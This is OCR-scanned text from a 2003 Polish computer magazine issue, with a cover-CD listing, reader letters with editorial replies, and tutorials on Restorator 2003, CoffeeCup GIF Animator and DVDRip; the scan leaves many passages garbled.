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Ze nie sj to powszechnie dostepne tak zwane
freeware'y, czyli aplikacje do Sciagnigcia za darmo

z internetu. Nie jest to réwniez shareware - opro-
gramowanie o ograniczonym czasie dziatania. Nasze
petne wersje to aplikacje dostepne poza krazkiem
Eksperta jedynie odptatnie. Redakcja wykupita

od producentéw prawa do ich publikacji na ptycie

z czasopismem, dzieki czemu macie, drodzy Czytel-

Plus Golden Sample
3D Hercules Prophet 9800 PRO .13
= Nowe technologie .. 15
Swiat w niebieskich barwach .. 15
= Komputerowe serce 16
Poréwnanie wybranych

= Wiadca plikéw, cz. lll 48

Zamykanie aplikacji ........ 49
m Odbij pitke . ... ... ... 50
Piszemygre .............. 50
Jak przygotowac obrazy? . .. .. 51

m Szyhko i precyzyjnie 54

Ogladanie filmow w MPlayerze . 75

Ripowanie filmu

INFORMATOR

= Podpis elektronicz
u Gdzie szukaé

nicy, jedyna okazje zgromadzenia zupetnie legalnie ~ Chipsetow . ............ .. 16 Wskazowki do Windows, Office’a, w internecie ... . ...
wspaniatych programéw za cene czasopisma. Testy wydajnosciowe pamieci . 17 Photoshopa, Ulead Media Studio m Listy i porady ...... 30
wmalecki@ks-ekspert.pl  BalaganzFSB ............. 19 iTheBatl ................ 54 = Spis programow . .. 82' s
, 3

DVDRip 1.0

Restorator 2003

 Edycja Specja
5 omplz\::lll;:ll:':r:gramach

W tym miejscu powinien
znajdowac sie

krazek CD-ROM. Jezeli go
nie ma, prosze zwracié sie

do sprzedawcy

» do administracji siecia « Flas
o internetowe o programowanie
o do kopiowania plyt « kodeki

tworzenie animowanych
GIF-ow

o poprawki « podkrecanie
» sterowniki o uzytkowe
» zdalna administracja

o multimedia
o inne

Linux

oraz wiel

a
danie aplikacji stuzacej do edycji skompilowanych
a wersja ma graficzny edytor zasohéw, dzieki
okien dialogowych jest duzo prostsza

petna wersja

orzenia ruchomych obrazéw w formacie GIF.
3 moZna zaprojektowac i wykonat profesjonal-
a strone WWW

zestaw

oprawek do polskiej wersji Windows XP

zhiér programéw

na zachowanie prywatnosci w internecie

kilkanascie réznych programéw

i ripowania ptyt, konwersji formatéw oraz
dnych kodekéw

do administracji sieci, zdalnej
omputerem oraz podkrecania procesordw

datnych narzedzi do kopiowania i ripowania
ania plikéw multimedialnych, zdalnej admini-
rzadzania siecig lokalna

programéw przydatnych nie tylko
ym uzytkownikom komputeréw
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The Bat! zabroniony?
Wigcie, ze tego programu nie wol-
no uzywac? Spojrzcie w tekst licen-
cji: Nie wolno UZYWAC, kopiowac
(..) programu. Jesli zle zrozumia-
tem, prosze mi to wyttumaczy¢.
Lord Wiader (z Forum)

0d redakeji: A dokfadnie — Nie
wolno uzywac, kopiowac, (...) Z wy-
Jjatkiem mozliwosci uwzglednionych
w tej umowie. Na poczatku umowy
mozemy przeczytac: Uzytkownik
otrzymuje nigwylaczng licencje na
uzywanie programu na jednym
komputerze w danym momencie.
Inaczej mowigc, uzywanie The Bat!
jest legalne pod warunkiem, ze na
kazda dziatajacg kopie programu
przypada jedna oryginalna ptyta
Eksperta.

Dobra gazeta, klej zly
Zmiencie Klej na ptycie i przyklej-
cie jg na troche mocniejszej okfad-
ce — przez drobng nieuwage mozna
podrze¢ strong. Trzymajcie taki po-
ziom — dawno nie widziatem pisma
komputerowego, kidre przeczytat-
bym od deski do deski z prawdzi-
wym zainteresowaniem. Zawarto$¢
pytki — super.

Gufi (z Forum)

0d redakeji: Tym razem przytozy-
liSmy sie. Mamy nadzieje, ze w tym
wydaniu ocalaty wszystkie spisy
tresci. Prosimy o pochwaty:)

Lepiej bez testéw
Szczerze... 1o darujcie sobie te te-
sty, to ma by¢ Ekspert, a nie jesz-
cze jeden Komputer SWIAT. Po co
Zaawansowanemu uzytkownikowi
testy napedow combo, gtosnikdw,

CZERWIEC - LIPIEC 2003 [0 aaa]

Uruthamlamv serwer Apache {I]I:m

wentylatorow czy na-
wet kart graficznych?
Jezeli bedzie chciat,
to znajdzie je w Kom-
puter SWIECIE. Drugi
numer mi sig spodo-
bat, ale trzeci wyglada
cieniutko. Radzg zro-
bi¢ dwa wyrazne dzia-
ty — Linux i Windows.
Zajat sie naprawde
tworzeniem czasopis-
ma dla 0sob, ktore
maja juz pojecie 0 komputerach,

a nie tlumaczy¢ laikom, bo az sig
odechciewa czyta¢. Skoro nazywa-
cie sie ekspertami, to robcie czaso-
pismo skierowane do ekspertow,

a przynajmniej do 0s6b $rednio za-
awansowanych.
scoolio@poczta.fm

(++ + prenumerata

Dlaczego w nowym Ekspercie nie
byto nic na temat programowania
w C+ +7? Mam nadzieje, ze w na-
stepnym co$ bedzie! Ale ogdlnie
nic nie mam na was, catkiem dobry
pomyst z t3 gazeta. Napiszcie, kie-
dy ukaze sie nastepny numer i kie-
dy bedzie mozliwa prenumerata.
marekzabinski@interia.pl

0d redakcji: Nastepny numer...
wiasnie trzymasz w rekach, drogi
Czytelniku:-) W sprawie prenumeraty
nie mamy niestety jeszcze zadnych
wiesci, ale ostro nad nig pracujemy.

Linux zbyt prosty

W tescie edytorow HTML zabrakto
znakomitego i darmowego WebSite
Pro 4.x, ktéry moim zdaniem moz-
liwosciami bije na gtowe swojg
darmowa konkurencje. Strona pro-
jektu to www.website.csd.pl

Bardzo cieszy fakt, ze na tamach
poswigcacie sporo migjsca na te-
maty zwigzane z uzytkowaniem sys-
temu Linux, ale zaawansowanemu
uzytkownikowi nie sg potrzebne po-
réwnania popularnych dystrybucii.
Wazniejsze sg problemy z konfigu-
racjq i codzienng eksploatacjg sys-
temu. Podoba mi sig fakt, ze oprdcz
produktu komercyjnego, czyli Bor-
land C+ +Builder, umiesciliscie
darmowg alternatywe w postaci
Dev-C+ +. Na ptytce obok progra-

mow dla Windows mogliby$cie
umieszczac ich linuksowe odpo-
wiedniki.

wojtasin@02.pl

Po angielsku
Moze wydrukujecie artykut w jezyku
angielskim, przynajmniej jeden,
Z wyjasnieniem trudniejszych ter-
mindw. Bytoby to korzystne dla
czytelnikow ze wzgledu na nauke
angielskiego (w sieci jest on naj-
czesciej uzywany). Ekspert jako je-
dyna gazeta w Polsce (oczywiscie
komputerowa) wprowadzitby te no-
wo$¢. Co wy na to?
mkotecki@poczta.fm

0d redakeji: Chyba jednak nie —
w wielu kioskach i EMPiK-ach moz-
na kupi¢ czasopisma komputerowe
po angielsku. Polecamy.

Ekspert przecietniak
Pragne zauwazyc, iz stanowicie typo-
wa, przecigtng prase poswiecong PC.
Zaczynacie sie upodabnia¢ nawet
do takiego pisma jak Linux plus. Je-
$li cheecie by¢ oryginalni i chcecie
zamigszczat w magazynie odskocz-
nie od Windowsa, to dlaczego nie
piszecie na przyktad o Mac 0S-ie
lub o bardziej zaawansowanych sys-
temach, na przyktad QNX? Dam za
kazdy numer nawet 12,90, jeli dacie
spokoj z tym wiecznie niedorozwinie-
tym Pingwinem.
cracker@xl.wp.pl

Java na fawe
Proponowatbym wiecej Javy. Cho-
dzi mi tu o kurs z przyktadami (przy
okazji tekstu Snieg w Javie — SU-
PER, autor artykutu dokfadnie wie,
jak zaciekawic czytelnika — gratula-

cje). To $rodowisko programowania
daje duze pole popisu zardwno po-
czatkujgcym programistom, jak
i tym z wigkszym doswiadczeniem.
Pozdrawiam wszystkich mito$nikow
JAVY.

Eltonio (z Forum)

Zte p2p
Jak ma sig ten artykut do ustawy
0 piractwie? Przeciez wy zacheca-
cie ludzi do tego typu dziatalnosci,
publikujgc takie materiaty. Wsze-
dzie sig czyta, styszy, oglada na ten
temat, a tu proszg, czego sie nie
robi, by sprzedac nakfad. A moze
jakies instrukcie o zabijaniu (wiem,
nie ta gazeta, nie te tematy) ale tak
to wyglada. (...)

Dociekliwy (z Forum)

0d redakcji: Piszemy o wszyst-
kim, co wydaje sig interesowac na-
szych Czytelnikow i co sprawia im
problemy. | oczywiscie dotyczy
komputerow. Nie unikamy wiec

i zagadnien p2p. Wiemy, ze opro-
gramowanie tego typu stuzy czesto
do przesytania nielegalnych progra-
mow, filmow oraz muzyki. Sieci
p2p s3 jednak przebogatg skarbnicg
darmowych aplikacji i utworow.
Dlaczego mamy udawac, ze nie ist-
nieja? Piszac o programach i sie-
ciach wyraznie ostrzegamy, ze wy-
korzystywanie ich do celéw, o kto-
rych wspomina Dociekliwy, jest
niezgodne z prawem.

Kontynuujac sposdb myslenia Czy-
telnika, niebawem dojdziemy do
whniosku, ze trzeba zlikwidowac caty
internet, bo to przeciez siedlisko
piractwa. Albo jeszcze skuteczniej
— zabronimy korzystania z kompu-
terow! Co Wy na to?




PHP OK

Moim zdaniem powinno by¢ wigcej
na temat programowania w PHP
poniewaz jest to juz praktycznie
standard tworzenia stron WWW.
Zygzak (z Forum)

Super Ekspert

Dzigki za wprowadzenie Super

Eksperta! Dzigki wam nauczytem

sie programowac¢ w Delphi! Roz-

wincie programowanie w Delphi

W najnowszych numerach Eksperta.
Seba (z Forum)

Super
Super Ekspert?

Przeciez artykut o PHP oznaczony
Super Ekspert byt jednym z prost-
szych w catym numerze, nie rozu-
miem, juz chyba Snieg w Javie by-
to cigzej zatapaé. Komus chyba sie
pomieszato.

Palik (z Forum)

Mniej kodu

Zauwazytem, ze redakcja Eksperta
ma tendencje do zamieszczania na
Swojej ptycie programow do pro-
gramowania. Urozmaiccie jg troche.

Poza tym wszystko mi sig podoba,
szczegolnie programy p2p.
KSI (z Forum)

Programy na (D

Chyba jest za mafo istotnych
szczegotow w opisach. Na przyktad
brak informacji, czy The Bat!
wspotpracuje z jakimkolwiek pro-
gramem antywirusowym. Mnie
osobiscie interesuje wspotpraca z
popularnym Norton Antyvirusem.
Dziadek (z Forum)

0d redakcji: Zasada jest, ze pro-
gramy antywirusowe powinny
wspotpracowac z protokotami prze-
sytania poczty, a nie konkretnymi
klientami. Na przyktad, jesli antywi-
rus obstuguje POP3, to bedzie
wspotpracowat z kazdym klientem
poczty, réwniez z The Bat! Na mar-
ginesie — Norton Antivirus dosko-
nale wspotpracuje z The Bat!

Staba strona

Dlaczego na waszej stronie WWW
sq tylko rzeczy, ktore sg w czasopi-
$mie? Moim zdaniem powinno by¢
co$ nowego. Na przyktad rzeczy,
ktdre nie zmiescity sie w pismie,

chocby ciekawe artykuty o progra-
mowaniu.
Mistrzu (z Forum)

0d redakcji: Strona www.ks-eks-
pert.pl nie jest portalem ani serwi-
sem. To witryna czasopisma, na
ktorej prezentujemy zawartos¢
Eksperta. Dodatkowo funkcjonuje
dos$¢ sprawne Forum i czgsto uak-
tualniane ankiety. Oprocz tego na
gtownej stronie mozna znalez¢
ramke, w ktorej wyjasniamy
najczestsze problemy zwigzane

7 tekstami. Na razie to tylko i az
tyle. Strong tworzymy jedynie wy-
sitkiem redakcji. Przyszto$¢ jednak
na pewno przyniesie zmiany na
lepsze.

Nareszcie

Kiedys czytatem regulamie
Komputer SWIAT, ale potem zrozu-
miatem, ze niewiele on mi daje.
Przez diuzszy czas szukatem
czasopisma dla siebie, a tu nagle
premiera Eksperta. Pomyslatem, ze
to co$ w stylu tych ksigzeczek

z biblioteczki Komputer SWIATA,
ale nie — to jest idealne czasopi-
smo. Nic dodac nic ujgc.

@ Program dla komorki ﬂ'x

BlueMan (z Forum)

Flash i juz

Co tu duzo mowi¢ — artykut o ani-
macjach we Flashu jest bardzo do-
bry! Nie chce was tylko chwalic,
ale inaczej sie nie da! Nareszcie
nauczytem sie robic te animacje.
[ to dzigki wam.

Mr Wirus (z Forum)

WZwiqzku z powtarzajgcymi sie pytaniami o szczegoty
artykutu Program dla komérki, na witrynie
Eksperta umieszczone zostaty szczegétowe informacje
dotyczace sposobu rejestracji dodatku MobileSet.
Otwieramy strone www.ks-ekspert.pl, klikamy na
zaktadke | ahum | 7 \vy<wietlonej listy numerdw
wybieramy wydanie |« 2/03 Kazan i spétka |, Pojawi sie spis
zawartosci numeru oraz sekcja| ¥ Wazne informacje |
Klikajgc na @, przechodzimy do przewodnika, w ktorym
Ekspert objasnia wszystkie zawitosci rejestracji.
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Restorator 2003
EDYCJA SPECJALNA

estorator 2003 to no-

wa, stworzona spe-

cjalnie dla Czytelni-
kéw Eksperta odstona znakomitego
edytora zasobdw Windows. Pro-
gram ten pozwala na dotarcie do
takich elementow, jak: obrazki, ani-
macje, dzwieki, z ktorych korzysta
aplikacja, a takze komunikaty wy-
Swietlane w programie, menu i cate
okna dialogowe. Restorator pozwala
na ich obejrzenie, podmiane oraz
edycje. W ten sposdb mozemy dia-
metralnie zmieni¢ wyglad interfejsu
uzytkownika programu — poprzesu-
wac przyciski, zmienic¢ grafike —
stworzy¢ wiasng skorke programu.
Restorator 2003 nie stuzy jednak
tylko do zabawy badz personalizacii

Jezeli chcielibysmy zajrzeé¢ do wnetrz
programdw i zmieni¢ ich wyglad, trudno
D wdzieczniejsze narzedzie niz nowa
lepszona wersja Restoratora!

aplikaciji. To potezne narzedzie

w rekach osob, ktore dokonujg lo-
kalizacji programow. Jezeli zaprag-
niemy przettumaczy¢ na polski
aplikacije, Restorator 2003 z ptyty
Eksperta jest wtasnie dla nas. Pol-
ska edycja programu, podobnie jak
wersja 2.52, ktdra znalazia sie na
krazku pierwszego numeru Eksper-
ta, zostata przygotowana przez re-
dakcje za pomoca... Restoratora.
Obszerny podrecznik oraz przewod-
niki uczace korzystania z programu
znajdziemy w menu Pomoc.

Nowy wyglad

W Restoratorze 2003 zwraca
uwage ulepszony interfejs uzytkow-
nika. Teraz Przegladarka plikow —

, Qmm}@ wtebaotin. T H @ B 2 % & v R
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cjonowania elementow dokonaé
mozemy takze, wpisujac wartosci
liczbowe. Tym razem wiadomo,
ktory parametr co 0znacza @----------
Zmiana wygladu okien to teraz kwe-
stia chwili.

Wygodna obstuga stylow
Graficzny edytor interfejsu

umozliwia przypisywanie do ele-

mentow kontrolnych roznych zdefi-

» niowanych przez Microsoft stylow.

Gdy najezdzamy myszkg na opiso-
wag nazwe stylu, na pasku stanu po-
jawia sie jego oficjalna nazwa @----
Doktadna specyfikacja Microso-
ftu na temat wszystkich stylow, kto-
re mozemy zastosowac, jest do-
stepna w internecie w jezyku an-

czyli okno m ]
Eksploratora | . = ErT—

1 E tancuoh - :
WIn.dO\.NS B (2] Skrdty klaviatiio ie I!'IErpr_eM &
zZnajduje 0 lkona ¥ iadlai

. d £ =] ] 2 ]: %rlllu,q L‘JI&I ; £
SIgNA 00~ i oprerm—e
dzielnej za-

kfadce, dzigki czemu zyskujemy
dwukrotnie wigcej miejsca na okno
Wyswietlarki zasobow, gdzie poka-
zywana jest zawarto$¢ programow.
Pomigdzy tymi dwoma oknami mo-
zemy fatwo przetaczac widok za po-
mocg klawiszy IF¥, i A<,

k zmdﬁwlr‘ adarka plikies |
HEND 106
CLASS ScicCalc
CAPTION "Falkulatur”
FONT O, "MZ Shell Dlg”, 0, TRUE

EDITTEXT 403, §, 1, 159, 14, ES |
PUSHEUTTOM "MC", 113, 5, 45, 24,
PUSHEUTTOM "MR", 114, 5, 65, 24,

gielskim na witrynie
http://msdn.microsoft.com/library/

Najlep- F_
szg meto- —

SO Library ~ NGO)

dg wyszu-
kiwania
informacji o danym stylu jest wpisa-
nie jego nazwy w wyszukiwarce @-----
i otworzenie odnalezionego doku-
mentu. W przypadku poszukiwanego
przez nas stylu SS_NOPREFIX oka-
2uje sie, ze jest to styl dotyczacy
elementow statycznych (tekstu

w oknach dialogowych ktory kaze

1

i

Advanced Search E
!

i

1

1

|

Graficzna edycja [z Teketmrimmany & o
0 Ukoficzenie 2adanei opera | Podnis ________
zaSObow ﬁ r----I--D-—--( Dwarazy bhitazk F--1-
Najwazniejsza nowoscia (Buarany sire ) Ol Oy Semn
w Restoratorze 2003 jest F—— S N e
graficzny edytor okien dia- Kontynui] | ™" Fl=es

logowych. Do tej pory, chcac zmie-
ni¢ wyglad okien, nalezato to robi¢
w trybie tekstowym, co sprowadza-
to sie praktycznie do programowa-
nia — wpisywania nazw elementow
kontrolnych i ich stylow, rozmiary
za$ elementow nalezato wpisywac
recznie. W ten sposob wysoko$¢
czesto mylita nam sie z szerokoscig
lub tez pozycjg elementu na ekranie
— w takim zapisie dos¢ tatwo sie

6 CzZERWIEC-LIPIEC 2005 [ aaad

_ pogubic @.
Teraz ksztatt i wyglad mozemy
oknom nadawac za pomocg mysz-

ki. Klikamy na przycisk, czy inny
element kontrolny, i tak jak w pro-
gramach graficznych myszkg zmie-
niamy jego ksztatt oraz potozenie
w oknie dialogowym. Z fatwo$cig
zZmieniamy rowniez rozmiary same-
go okna, teksty w oknie dialogo-
wym, czcionke. Doktadnego pozy-

nie zamienia¢ znaku & na podkresle-
nie nastepujacej po nim litery (jezeli
styl ten nie jest zaznaczony, aby uzy-
skac na ekranie znak &, naIeZy Wpi-

sac go dwa razy rzedu) ®

Dodawanie zasohéw

Kolejng nowg cechg Restoratora
2003 jest mozliwos$¢ dodawania
zasobow. Jednym z praktycznych
zastosowan tej nowej funkcjonal-
nosci jest tworzenie aplikacji wie-
lojezykowych.

Dotychczas, gdy dokonywaliSmy
tlumaczenia interfejsu, mozna byto
jedynie zamieni¢ jedng wersje jezy-
kowg na druga, edytujac oryginalne
zasoby. Obecnie jest mozliwe two-
rzenie aplikacii, ktore beda zmie-
nialy jezyk interfejsu w zaleznosci

od wersji jezykowej systemu ope-
racyjnego. TP m




Z PLYTY COFFEECUP GIF ANIMATOR 6.2

Prosta
animacja

FOT. FREE/MONTAZ KOMPUTER SWIAT EKSPERT

6.2

Animowane GIF-y to dobry sposéb
urozmaicania stron WWW. Ekspert
pokaze, jak szybko projektowaé

niewielkie grafiki

astosowanie ruchomych

elementdw na stronie

WWW powoduije, ze
statyczna i nieciekawa witryna na-
gle ozywa. Whrew powszechnemu
przekonaniu tworzenie ruchomych
obrazow nie musi by¢ skompliko-
wane. Nie trzeba od razu konstru-
owac rozbudowanego filmu czy in-
teraktywnej animacji we Flashu.
Czasami kilka dobrze dobranych
klatek animowanego GIF-a moze
wygladac lepiej niz dtuzsza forma,
nie wspominajgc o tym, ze mate

w tym formacie

rozmiary pliku uciesza uzytkowni-
kow wolniejszych potaczen z sie-
cig. Ekspert pokaze, jak za pomocg
GIF Animatora oraz KoolMoves @
zrobi¢ wtasny animowany baner.
Na ekranie powitalnym GIF Anima-
tora s trzy przyciski, dzigki ktorym
mozemy przej$¢ do pracy.

1. Wybieramy nowy plik, klikajac

na@®.
Y
N =2 [
Hew Open _-c-_:.--|

Y
(@ Sekwencja plikéw z KoolMoves |

2. Ustawiamy rozmiar obrazu
w pikselach. Zaznaczajac opcje
[Use the size of the first image in the animation |
spowodujemy, ze wielkos¢ catego
projektu bedzie taka, jak pierwszej
wezytanej klatki.

Przechodzimy dalej, klikajgc na

| Mest> |

3. W nastepnym wy$wietionym
ekranie mozna ustalic, co aplikacja
powinna zrobi¢ w wypadku, gdy
wezytywana klatka bedzie roznic sie
wielko$cig od poprzedniej. Nie be-
dziemy jednak uzywac tej opcji —
wszystkie klatki animacji eksporto-
wanej z KoolMoves majg jednako-
We rozmiary. Zaznaczajac @, moze-
my wybrac opcje automatycznego

dodawania przezroczystosci.
b iMake the animation transparent |
Program domysInie uczyni prze-
zroczystym kolor, ktdry jest dominu-
jacy na krawedziach grafiki. Klikamy
na [ Hest> ] zeby kontynuowac.

4. Wybieramy liczbe powtorzen
pefnej animacji. Ustawmy jg dla
naszego przyktadu na pie¢ razy

[T Flayp i 5 A1 timels] |

5. Ponizej okreslamy czas wy-
Swietlania sie kazdej klatki w mili-

sekundach e =1

6. Wezytujemy wezesniej przy-
gotowane klatki animacji, klikajac

na| Addlmage...|

7. Odnajdujemy folder, do ktore-
go wyeksportowalismy serig plikow.
Zaznaczamy wszystkie, wciskajac
kombinacje £ I, nastepnie

klikamy na [_Ogen ]

9. Gdy program powiadomi nas
0 Ukoniczeniu wezytywania klatek,

klikamy na [Einish ]

CoffeeCup GIF

10.. Widzimy teraz gtéwne okno e
programu. W dolnym pasku mamy F

dostepny podglad animacji oraz
opcje potrzebne do ewentualnej
korekcji wstepnych ustawien.

@ Format GIF

GIF (ang. Graphic Interchange Format) to format pliku
graficznego stworzony przez firme CompuServe. W roku
1989 wprowadzono w nim mozliwos¢ animacji oraz nada-
wania przezroczystosci. GIF potrafi opisac¢ jedynie 256 ko-
loréw, sytuacje jednak poprawia fakt tworzenia unikalnej
palety dla kazdego obrazka. Dzieki temu zachowuje sie
dobrg jakos¢ grafiki przy niewielkich rozmiarach plikdw.
GIF-y sa bardzo popularne, na wielu stronach interneto-
wych znajdziemy elementy menu i banery w tym formacie.
Technologia GIF jest opatentowana i nie kazda aplikacja
graficzna potrafi zapisywa¢ pliki .gif Zamieszczony na pty-
cie Eksperta GIF Animator nie tylko tworzy GIF-y, lecz tak-
e zapisuje animacje we flashowym formacie SWF.

Transparent Color

Select 2 coloe fiom the: cokon swatches of click on the image:

11 Przezroczystosé animaci wy-
bieramy, klikajgc na @. Nastepnie

w nowym okienku wskazujemy ko-

lor, ktory ma by¢ niewidoczny @.

12. Kiikajac na ikone [2=J,

mozemy podejrze¢ naszg animacije.

13.. Stworzony GIF zapisujemy,
wybierajac z menu [Ele] pozycje
[ Save s, nastepnie

rogram KoolMoves w petnej wersji zostat zamieszczony na krazku

Eksperta 2/03 (numery archiwalne czasopisma mozna zamawia¢ pod
numerem O 801 120003). Na ptycie dotagczonej do biezacego wydania
znajduje sie natomiast jego wersja shareware, ktdra wprawdzie pozwala na
eksportowanie klatek z plikami graficznymi, ale dotgcza do nich swoje logo

jako znak wodny.

1. Aby wyeksportowa¢ gotowg animacje jako sekwencje plikow, w progra-
mie KoolMoves klikamy na a nastepnie | Export For Web| | wybieramy

pozycje \Capture Movie Frames.. \

2. W nowo otwartym okienku wybieramy format pliku oraz to,
jakie klatki chcemy zapisa¢ - w naszym przypadku bedg to wszystkie klu-
czowe tacznie z posrednimi [*_All key frames and all tweens|. Zatwierdzamy
ustawienia przyciskiem | 0K | Nastepnie wskazujemy miejsce na dysku,
do ktorego wyeksportujemy pliki, i zapisujemy je.

3. Tak przygotowang sekwencje plikow graficznych mozemy bez problemu
zaimportowac do GIF Animatora.

sumantyhcelalF znimator' 2 ool oves\capbue02 brp
ilumentyceGIFanimator'ZE ool ovescapturc3 brp
\mentyhecGIF snimatorZF ookl ove st apture o

Sujemy nazwe i miejsce zapi-
su GIF-a, po czym klikamy na
Save | Mozemy rowniez

[Save As Animated GIF (.aif)... |
B §| W okienku dialogowym wpi-
LA

Hemova Image | Add Imdge.

zapisac animacje do formatu

8. Widzimy teraz pliki utozone
w kolejnosci wedtug nazwy @---
Mozemy ewentualnie zmienic¢ ko-
lejnos¢ ich wySwietlania, przesu-

wajac je strzatkami @ odpowiednio
w gore lub w dot. Klikamy na
i przechodzimy dalej.

Flash, wybierajgc opcje

[Save As Macromedia Flash {.swfl...|

animowany GIF. Pamietajmy, ze
plik wynikowy powinien by¢ jak
najmniejszy. Maksymalny rozmiar

banera reklamowego to najczesciej
od 15 do 50 KB.

{ W ten sposob przygotowalismy

Fraupe  Animation |

26n264 | (29

& Flay borever [22 g w264 | [24 86: 264 | |35 gEx2ed | [26 26w 284 | [27 T
 Blay |1 H, Timefs)
Transparent Color ’g\' ‘ ﬂ ‘ JB ‘ JE) ‘ JD ‘ J:)
I:I B sScloct
. ]

TSm
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DVDRip 1.0
PELNA WERSJA
program stworzony
specjalnie na zamo-
wienie Eksperta

FOT: COREL/montaz KOMPUTER SWIAT EKSPERT

Piec w
jeanym

rogram DVDRIp stuzy
do konwersji filmaw,
ripowania, dzielenia na
piyty i ich wypalania. Stworzony zo-
stat specjalnie dla Czytelnikow Eks-
perta. Dzieki niemu wykonamy kopie
zapasowg ulubionej ptyty DVD i za-
piszemy ja w formacie VCD, SVCD
lub popularnym DivX/XviD. Konwer-
sja z gotowego juz pliku AVl z pod-
pisami TXT jest mozliwa do formatu
SNCD. Duzg zaletg aplikacji jest to,
ze nawet 0soba mato do$wiadczona
stworzy za pomocg DVDRipa film

w dowolnym formacie zaledwie kil-
koma Kliknigciami myszki. Zaawan-
sowani uzytkownicy znajda szereg
opcji pozwalajacych na petng kon-
trole procesu konwers;ji filmu.

DVD? Jak z Div
ideo CD z napisami? Dzieki programowi
DVDRip szybko i skutecznie wykonamy jeden
z pieciu popularnych rodzajow konwersji

Instalacja

Podczas instalacji mozemy dodac
komponenty potrzebne do konwersji
filméw, na przyktad DivX 5.05 czy
Lame MP3. Przy tworzeniu filmu
mozemy, cho¢ nie musimy, korzy-
sta¢ z dofgczonych do instalacji ko-
dekow. Jezeli z jakich$ powodow
wolimy juz posiadane, to DVDRip
bedzie z nimi wspatpracowat.

Po instalacji i ponownym uru-
chomieniu komputera, mozemy
przystapi¢ do pracy. Optymalng
konfiguracijg sprzetowg jest naped
DVD-ROM i nagrywarka CD-R/RW
lub naped typu combo. Jesli za-
braknie czytnika DVD lub mozliwo-
$ci wypalenia ptyty, nie wykorzysta-
my w pefni atutow DVDRip-a.

Rozpoczecie pracy

o~ Konmetjs

| ovosveo []
I~ ovn- sven [ |
Wovoaan []
Favsvo [

| avi»sveo [

| [] Konwersja z DVD

do Video CD

|| [] Konwersja z DVD
do Super Video CD

[] Konwersja z DVD do
formatu komputerowe-
go DivX/XviD

[] Konwersja z AVI
do Video CD

[] Konwersja z AVI
do Super Video CD

[] Wyboér zrodta DVD lub

"t P

AVI
[] Wybér pliku TXT

z podpisami (tylko przy

konwers;ji z pliku AVI)

CZERWIEC - LIPIEC 2003 [t aae]

[] Wtaczanie/wytaczanie
podgladu filmu
DVD/AVI

0/

2. Pojawi sig kolejne okno konfi-

guracyjne programu @. Mniej wy-
magajacy uzytkownicy moga juz
stworzy¢ film o domysinych para-
metrach, klikajac na [Zacznil].
Dalszg konfiguracje polecamy za-
awansowanym uzytkownikom

3. Jesli chcemy wypali¢ film na
ptycie, to w ramce [] wybieramy
opcje [ Nagwwarka COJ.

4 . W polu [J wpisujemy nazwe
piyty. Ponizej [] wybieramy mak-
symalng wielko$¢ pliku przezna-
czonego do nagrania. Je$li mate-
riat po konwersji zajmie wigcej niz
jedna ptyte, do nazw krazkow zo-
stang dodane kolejne liczby, na
przyktad 01, 02.

- -m
Opcje konwers;ji )
~Zapis na{ | 7~ Dbeaz Divwek{ |
| Tusardy dysk ! Roamiaty | £40x 336 3 Iz"uc' m
[ Podpisy [Polski D_;] [ Cel [112kBivs, 14,100 Hz, Ste ¥
I Napywarka D || [Pozycia podpicow | 0 Dil 18 Dolby Suround
~ Etykista plyty-[_|——
[MEMENTO
podst-{]——
B 74 minuly :
Opcie... |
™ 81 it
Plik. T
[ Bee poddatu [E‘ SDOCUME~T5Tomek NISTAWI~TATemp\Dinp.avi _I

[] Wybdr miejsca zapisu filmu
po konwersji.

[] Etykieta ptyty w wypadku
wypalania na CD
[ Podziat na pliki o ustalonej wielkosci

[ ] Miejsce zapisu pliku (przy wybranej
coc IRREREN)

[] Rozdzielczos¢ docelowego filmu
opisana w pikselach

Ripujemy DVD do DivX

Ekspert pokaze jak wykona¢ kon-
wersje z DVD do DivX przy uzyciu
kodeka w wersji 5.0.5. W trakcie
tworzenia pliku okreslimy parametry
obrazu, dotgczymy napisy i podzie-
limy film na czesci w celu wypale-
nia na ptytach CD-R. Zwolennicy
alternatywnego kodeka XviD mogq
wykonac te same operacje, ponie-
waz jego podstawowe opcje s3 nie-
mal identyczne jak w DivX-ie.

1. W pierwszym oknie wybieramy
opcje i Klikajac

na pole [] wybieramy naped DVD-
-ROM z filmem. Klikamy na

| Dalei>] (przycisk ten bedzie ak-
tywny tylko w przypadku, gdy
wskazemy programowi odpowiedni
nos$nik zawierajacy film DVD).

[] Jezyk napiséw dotgczanych
do filmu

[] Pozycja napiséw

[ ] Podglad filmu umozliwiajacy
korekcje potozenia napisow

[] Opcje konwersji dzwigku - wybor
sciezki oryginalnej (na ptycie
moze by¢ ich kilka) oraz
parametry dzwieku docelowego

5.w polu [ ustawiamy rozmiar
filmu. Do wyboru jest kilka rozdziel-
czosci. Ekspert wybrat najbardziej
popularng — 640x336 pikseli.

6. Za pomoca listy [] zmieniamy
jezyk podpisow lub je wytaczamy.

7. Aby wyswietli¢ pozycje napi-
sow w filmie klikamy na ®@. Przy-

ustawiamy ich potozenie, obserwu-
jac zmiany na podgladzie [1. Eks-
pert proponuje wykorzystac nie-
wielkg czesS¢ czarnego paska pod
filmem. Czytanie napisow nie be-
dzie wtedy rozpraszato nas pod-
czas ogladania.

8. Nastepnie klikamy na Dpsied,
dzieki czemu przejdziemy do za-
awansowanych funkcji programu



.
(i Zaawansowane opcje <)
Fingram D_ s ~avid |
[l Indeks — 1001 01:35.21 5l 8 o
|
[ L
et - Skalowanie ohaz Kodsk sudo... | [~ 48kHz
[iSSE d [IZ 1 ﬂ Cecioniia. [SrAE
I_E::Ma' P - [T Syncheonizacia. (- Proghot D
[ Powek INnunaIny ﬂ
~ Folder pliéw 1 bl
[DADTICTIME 13T mebALIS TAWI™TA el |
[ Zachowai piki wideo

['] Zaawansowane funkcje skalowa-
nia obrazu oraz korekcji przeplotu

[] Miejsce przechowywania
tymczasowych plikow wideo

oraz kodekow instalujacych sie wraz

["] Opcje i wybor kodekéw audio
i wideo oraz wybor czcionki
(aktywny tylko przy konwersji
z pliku AVIi TXT do S/VCD)

[7] Priorytet pracy programu

sta¢ z komputera, ustawmy priory-

z aplikacjg @:-

9. W ramce [ wybieramy miej-
. Sce przechowywania tymezasowe-
go pliku wideo °. Nastepnie za-
znaczamy [ Zachowaj plki widea],
dzieki czemu gotowy fragment fil-
mu nie zostanie utracony, nawet je-
$li przerwiemy proces kodowania.
Jest to przydatne, gdy chcemy
oceni¢ jakos¢ obrazu i dzwigku na
czesci przekonwertowanego pliku.
Po wtaczeniu konwersji przerywamy
proces po kilku minutach i odtwa-
